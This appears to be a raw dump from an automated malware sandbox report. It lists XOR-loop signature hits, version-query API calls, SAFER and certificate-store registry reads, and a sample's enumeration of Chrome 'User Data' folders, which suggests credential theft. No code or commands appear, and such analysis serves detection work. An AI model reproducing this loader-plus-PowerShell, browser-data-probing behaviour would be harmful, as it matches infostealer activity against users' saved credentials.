with Base64 encoding Matched sigs: YARA signature match – cryptographic algorithms2f:T2e09,Found XOR loop in file "806964ff31e2acc80.exe" at offset 461640; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 600204; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 715712; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 779212; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 805584; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 1541504; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 1556788; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 1949244; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 2244912; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 2757628; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 3296892; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 3431372; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 3695508; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 3984488; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 4163720; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 4956868; code bytes = 33c1 Found XOR loop in file "806964ff31e2acc80.exe" at offset 5172672; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 99346; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3306211; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4294031; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4557306; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4976340; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5012036; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5031372; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5043900; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5271764; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5276676; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5276916; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5382092; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5497829; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5530789; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5604132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5907069; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6321923; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6411385; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6419374; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6420555; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6510213; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6687860; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6702659; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6814353; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6935095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7130664; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7142081; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7151327; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7151410; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7221061; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7258872; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7456619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7460642; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7718352; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8043396; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8067696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 446673; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4428726; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4642876; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5495649; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5528225; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5573785; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5683445; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5894732; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5934784; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6039213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6115290; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6301197; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6309409; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6309566; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6311228; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6328982; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6339518; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6346928; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6347392; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6419897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6549736; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6567078; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6585366; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6623317; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6801020; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6838366; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6851896; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6864929; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6983891; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6994759; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7112232; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7116734; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7121848; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7154532; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7265203; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7277920; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7400435; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7542805; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7589364; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7617885; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7624874; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7668852; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7673820; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7778675; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4294600; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 4625943; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 82934; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 134582; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 199062; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 238601; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 238961; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 239361; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 241523; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 265329; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 285456; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 437701; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 438397; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 439038; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 449417; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1057180; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2942880; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2942884; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3417428; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3461044; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3461092; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3683656; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3743328; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4125929; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4732115; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4925464; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4989752; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5222216; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5363888; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5604252; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5764840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5774164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5790076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5799328; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5812624; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5942584; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5960855; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6263677; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6270265; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6379786; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6419118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6520710; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6540971; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6568785; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6629619; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6635334; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6760104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6818662; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6860883; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7001025; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7019800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7048573; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7213169; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7224412; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7321382; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7326402; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7770151; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7909837; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7986066; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8065014; code bytes = 803030:T1dc9,"Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000088e87f17f000000018000000f000000000a1221bcf100000ff9523cc520200000f0000000000000020e87f17f0000000705522cc52020000e09223cc520200001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000b40f97f0000d95bbed3cd9a0000e0460b40f97f0000009623cc5202000098060c40f97f0000309f23cc520200000000c93ff97f00000000000000000000e0460b40f97f00000300000000000000f3852d42f97f00006e470b40f97f000027662d42f97f000060e87f17 (UID: 00000000-00007632) "Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632) "Loader.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632) "Loader.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007308) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007308) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938fe3ff97f000080000000000000000000000000000000105222f2de02000010333042f97f0000000000000000000000002341f97f0000f0d787d9f10000001041fb3ff97f0000c0fbdfefde020000b0d787d9f1000000000000000000000000000000000000000100000000000000b840fb3ff97f00000600000000000000010000000000000000002341f97f00003b4d713ff97f0000000000000000000068dc87d9f10000000000000000000000d02a3541f97f000010b39b41f97f0000e8f8fa3ff97f000010b39b41f97f0000d02a3541f97f00000d000000f97f00000d00000000000000a0f68b41f97f0000f5873041f97f0000d02a3541 (UID: 00000000-00007308) "806964ff31e2acc80.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c0eb3f9f3100000030bd2a400c02000000d035400c020000030000000000000030bd2a400c020000d072e13d0c0200001073e13d0c0200000300000000000000681e2e42f97f000000000000000000000073e13d0c020000a00000000000000010ec3f9f3100000000d035400c020000131d2e42f97f0000d072e13d0c0200001073e13d0c020000d072e13d0c02000030bd2a400c02000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d2d73142f97f0000000000000000000001000000ff000000e8f13f9f31000000d9172f1bf97f000000000000 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938fe3ff97f0000800000000000000000000000000000003039e23d0c02000010333042f97f0000000000000000000000002341f97f000080e63f9f310000001041fb3ff97f0000608fe03d0c02000040e63f9f31000000000000000000000000000000000000000100000000000000b840fb3ff97f00007e00000000000000010000000000000000002341f97f00003b4d713ff97f0000000000000000000000000000000000000000000000000000d02a3541f97f000010b39b41f97f0000e8f8fa3ff97f000010b39b41f97f0000d02a3541f97f00000d000000f97f00000d00000000000000a0f68b41f97f0000f5873041f97f0000d02a3541 (UID: 00000000-00008272) "806964ff31e2acc80.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000d063013e0c0200000004000000000000c8f22e42f97f00000000013e0c02000009ec3f9f31000000c062013e0c020000f02c013e0c020000bf00000000000000bf000000000000000000000001000000ca62013e0c0200000000000000000000d062013e0c0200000000000000000000bf00000000000000000000000000000080000000000000000000000050000000000000000000000010010000000000000000000000000000c062013e0c0200000000000000000000000000000000000000000000000000000000000000000000c062013e0c020000800000000000000000000000000000000000000000000000302d013e0c0200005001013e (UID: 00000000-00008272)31:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000e0f9dfefde020000c0fbc817f97f00000001000000000000b8fbc817f97f0000000000000000000080cb1d42f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1ac817f97f00000000000000000000b8fbc817f97f000000000000 (UID: 00000000-00007308) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000000f035616a010000c0fb251bf97f00000001000000000000b8fb251bf97f0000000000000000000080cb1d42f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a251bf97f00000000000000000000b8fb251bf97f000000000000 (UID: 00000000-00004092) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000020fb2c4e7b020000c0fb251bf97f00000001000000000000b8fb251bf97f0000000000000000000080cb1d42f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a251bf97f00000000000000000000b8fb251bf97f000000000000 (UID: 00000000-00008248) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000403884e2d6010000c0fb0734f97f00000001000000000000b8fb0734f97f0000000000000000000080cb1d42f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a0734f97f00000000000000000000b8fb0734f97f000000000000 (UID: 00000000-00005928)32:T4f1,"Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "806964ff31e2acc80.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "806964ff31e2acc80.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")33:T1188,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00007308-00000C17-3493688604 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007308-00000C17-3495008300 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007308-00000C17-3495457600 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007308-00000C17-3495533506 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007308-00000C17-3496528366 "powershell.exe" queries volume information of "C:\" at 00000000-00007308-00000C17-3497521659 "powershell.exe" queries volume information of "C:\share" at 00000000-00007308-00000C17-3497523736 "powershell.exe" queries volume information of "C:\share" at 00000000-00007308-00000C17-3497772892 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00007308-00000C17-3499209383 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00007308-00000C17-3499501698 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00007308-00000C17-3499603511 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates" at 00000000-00008272-00000C17-3576636729 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation" at 00000000-00008272-00000C17-3576638526 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt" at 00000000-00008272-00000C17-3576640403 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ClientSidePhishing" at 00000000-00008272-00000C17-3576641268 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad" at 00000000-00008272-00000C17-3576642965 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny" at 00000000-00008272-00000C17-3576644624 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default" at 00000000-00008272-00000C17-3576646397 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings" at 00000000-00008272-00000C17-3576649390 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies" at 00000000-00008272-00000C17-3576650341 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" at 00000000-00008272-00000C17-3576652134 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded" at 00000000-00008272-00000C17-3576653081 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" at 00000000-00008272-00000C17-3576654976 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" at 00000000-00008272-00000C17-3576655981 "806964ff31e2acc80.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache" at 00000000-00008272-00000C17-357665689334:T99f,"Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")35:T592,"Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "Loader.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Loader.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "Loader.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Loader.exe" 